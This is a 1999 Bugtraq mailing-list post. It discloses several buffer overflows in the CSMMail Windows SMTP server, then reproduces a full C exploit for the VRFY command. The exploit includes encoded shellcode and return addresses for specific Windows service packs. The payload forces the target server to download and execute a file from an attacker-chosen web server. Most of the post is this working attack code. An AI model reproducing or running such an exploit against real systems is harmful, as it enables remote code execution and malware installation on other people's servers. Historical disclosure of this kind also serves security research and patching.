[10369] in bugtraq
CSMMail Windows SMTP Server Remote Buffer Overflow Exploit
daemon@ATHENA.MIT.EDU (pw)
Wed Apr 28 15:07:09 1999
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-Id: <Pine.LNX.4.10.9904271343280.7211-100000@shell.nacs.net>
Date: Tue, 27 Apr 1999 13:44:51 -0400
Reply-To: pw <pw@NACS.NET>
From: pw <pw@NACS.NET>
To: BUGTRAQ@NETSPACE.ORG
CSMMail is a SMTP server for win95/98/NT with features that
include at least five stack overflows. At least two of these allow remote
execution of arbitrary code.
The first the overflow is found in the HELO command, there is also
an overflow in the MAIL FROM: command, however, I have been unable to get
either of these to return to an arbitrary address.
The next overflow I found was in the VRFY command, when a long string is
used as an argument ("VRFY aaaaaaa....") one can overwrite the return
address and force the server to return to arbitrary code. This is the
overflow the following exploit takes advantage of.
There is also another buffer overflow in the VRFY command which
happens if one enters "VRFY aaaa@aaaaaaa......" I have not been able to
make this return to an arbitrary address.
The RCPT TO: command also has a overflow in it that can be used to
return to arbitrary code.
There are two main problems which are run into when exploiting the
first hole in the VRFY command. The first one is trivial to get around.
If a "@" sign (40h) is found on the buffer being copied and the buffer is
excessively long it will not overflow the buffer. To get around this we
just make sure 40h is not in our code or offseted addresses.
The next problem stems from the fact that CSM Mail has no DLL's of
it's own which are loaded in its address space and it's Image Base is
00400000h. Since we will have to include a null to address to any of
CSMMail's code there is no sure way to return to our code. To get around
this I have included multiple return addresses in the exploit which are
bound directly to the operating system version which CSM Mail is running
under.
It is also worth noting that two of the arguments for
the function which is having it's return address overwritten need to be
fixed up with a valid read memory location in order to bypass page faults.
The exploit that is included below will force CSMMail to connect
to a specified web server and download, save and execute a file from it.
The exploit should work under x86 unix's and x86 versions of win32. By
default it is set to be compiled under unix, to compile it under win32
take out the "#define UNIX." I would like to thank Acpizer for
porting this to win32 and determining the SP3 address values.
I do not know of any bugfixes for this and this exploit
works on the current version which is being distributed from their
site. (It did the last time I checked it)
-mcp
<--------------------------CUT HERE------------------------->
#define UNIX
#ifndef UNIX
#include <stdio.h>
#include <fcntl.h>
#include <winsock.h>
#include <io.h>
#define CLOSE _close
#define SLEEP Sleep
#else
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define CLOSE close
#define SLEEP sleep
#endif
/*
CSMMail Exploit by _mcp_ <pw@nacs.net>
Win32 port and sp3 address's by Acpizer <acpizer@unseen.org>
Greets go out to the following people: Morpheus, Sizban, Rocket,
Acpizer, Killspree, Ftz, Dregvant, Vio, Symbiont, Coolg, Henk, #finite
and #win32asm.
You can contact me by e-mail or on efnet.
As always no greets go out to etl
*/
const unsigned long FIXUP1 = 264;
const unsigned long FIXUP2 = 268;
const unsigned long OFFSET = 260;
char code[] =
"\xEB\x53\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
"\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
"\xEB\x37\x46\x58\xFF\xE0\x33\xDB\xB3\x48\xC1\xE3\x10\x66\xBB"
"\x94\x62\x56\xFF\x13\x8B\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46"
"\x83\xC0\x1\x3A\x6\x74\xDD\x56\x55\x33\xDB\xB3\x48\xC1\xE3"
"\x10\x66\xBB\xB8\x62\xFF\x13\xAB\xEB\xDF\xEB\x4F\x33\xC9\x66"
"\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8\x33"
"\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51\x51"
"\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83\xC6"
"\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8\xFF"
"\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF\x57"
"\xF0\xE8\x59\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33\x1"
"\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75\x66"
"\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62\x6D"
"\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1\x46"
"\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A\x4F"
"\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
"\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71\x66"
"\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x53"
"\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B\x30"
"\x30\x00";
/*This is the encrypted /~pw/owned.exe we paste at the end */
char dir[] =
"\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";
unsigned int getip(char *hostname)
{
struct hostent *hostinfo;
unsigned int binip;
hostinfo = gethostbyname(hostname);
if(!hostinfo)
{
printf("cant find: %s\n",hostname);
exit(0);
}
#ifndef UNIX
memcpy((char *)&binip, hostinfo -> h_addr, hostinfo -> h_length);
#else
bcopy(hostinfo -> h_addr, (char *)&binip, hostinfo -> h_length);
#endif
return(binip);
}
int usages(char *fname)
{
printf("CSMMail Remote Buffer Overflow exploit v1.1 by _mcp_ <pw@nacs.net>.\n");
printf("Win32 porting and nt sp3 address's by Acpizer <acpizer@unseen.org>\n");
printf("Usages: \n");
printf("%s <target host> <www site> <fixup address> <return address>\n", fname);
printf("win98 SP1:\n");
printf(" <fixup address> = 0xBFF78030\n");
printf(" <return address> = 0xBFF79243\n");
printf("NT SP3:\n");
printf(" <fixup address> = 0x77EB14C0\n");
printf(" <return address> = 0x77E53FC7\n");
printf("NT SP4:\n");
printf(" <fixup address> = 0x77EB14C0\n");
printf(" <return address> = 0x77E9A3A4\n");
printf("Will make <target host> running CSMMail download, save, and\n");
printf("execute http://<www site>/~pw/owned.exe\n");
exit(0);
}
main (int argc, char *argv[])
{
int sock,targethost,sinlen;
struct sockaddr_in sin;
static unsigned char buffer[20000];
unsigned char *ptr,*ptr2;
unsigned long ret_addr;
int len,x = 1;
unsigned long rw_mem;
#ifndef UNIX
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if (err != 0) exit(1);
#endif
if (argc < 5) usages(argv[0]);
targethost = getip(argv[1]);
len = strlen(argv[2]);
if (len > 60)
{
printf("Bad http format!\n");
usages(argv[0]);
}
ptr = argv[2];
while (x <= len)
{
x++;
(*ptr)++; /*Encrypt the http ip for later parsing */
ptr++;
}
if( (sscanf(argv[3],"0x%x",(unsigned long *) &rw_mem)) == 0)
{
printf("Input Error, the fixup memory address has incorrect format\n");
exit(0);
}
if( (sscanf(argv[4],"0x%x",(unsigned long *) &ret_addr)) == 0)
{
printf("Input error, the return address has incorrect format\n");
exit(0);
}
sock = socket(AF_INET,SOCK_STREAM,0);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = targethost;
sin.sin_port = htons(25);
sinlen = sizeof(sin);
printf("Starting to create the egg\n");
ptr = (char *)&buffer;
strcpy(ptr,"VRFY ");
ptr+=5;
memset((void *)ptr, 0x90, 7000);
ptr2=ptr;
ptr2+=FIXUP1;
memcpy((void *) ptr2,(void *) &rw_mem,4);
ptr2=ptr;
ptr2+=FIXUP2;
memcpy((void *) ptr2,(void *) &rw_mem,4);
ptr+=OFFSET;
memcpy ((void *) ptr,(void *)&ret_addr, 4);
ptr+=60;
memcpy((void *) ptr,(void *)&code,strlen(code));
(char *) ptr2 = strstr(ptr,"\xb1");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2++;
(*ptr2)+= len + ( sizeof(dir) - 1 );
(char *) ptr2 = strstr(ptr,"\x83\xc6");
if (ptr2 == NULL)
{
printf("Bad shell code\n");
exit(0);
}
ptr2+= 2;
(*ptr2)+= len + 8;
ptr+=strlen(code);
memcpy((void *) ptr, (void *) argv[2], len); /*Parse in the http
site's info */
ptr+=len;
memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
printf("Made the egg\n");
if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
{
perror("error:");
exit(0);
}
printf("Connected.\n");
#ifndef UNIX
send(sock, "HELO lamer.com\r\n",16, 0);
send(sock, (char *)&buffer, strlen((char *)&buffer), 0);
send(sock,"\r\n",2,0);
#else
write(sock, "HELO lamer.com\r\n",16);
write(sock, &buffer, strlen((char *)&buffer) ); /* strlen((char
*)&buffer */
write(sock,"\r\n",2);
#endif
SLEEP(1);
printf("Sent the egg\n");
#ifndef UNIX
WSACleanup();
#endif
CLOSE(sock);
exit(1);
}